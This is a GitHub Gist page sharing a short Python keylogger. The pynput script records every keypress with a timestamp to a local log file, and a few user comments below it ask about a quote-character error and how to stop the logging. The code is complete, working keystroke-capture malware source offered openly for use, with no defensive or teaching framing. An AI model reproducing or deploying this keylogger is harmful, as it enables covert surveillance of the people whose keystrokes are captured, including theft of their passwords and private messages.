Created
May 31, 2018 16:51
-
-
Save jamesgeorge007/cb68fedd8419721f6f4c7a7643181974 to your computer and use it in GitHub Desktop.
A simple keylogger made with python.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pynput.keyboard import Key, Listener | |
import logging | |
log_directory = "" | |
logging.basicConfig(filename = (log_directory + "log_results.txt"), level = logging.DEBUG, format = '%(asctime)s : %(message)s') | |
def keypress(Key): | |
logging.info(str(Key)) | |
with Listener(on_press = keypress) as listener: | |
listener.join() | |
in line 4 I'm getting "invalid character identifier" error
in line 4 I'm getting "invalid character identifier" error
It's probably from the quotations
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Hi, how can i stop logging?
edit: tried sys.exit()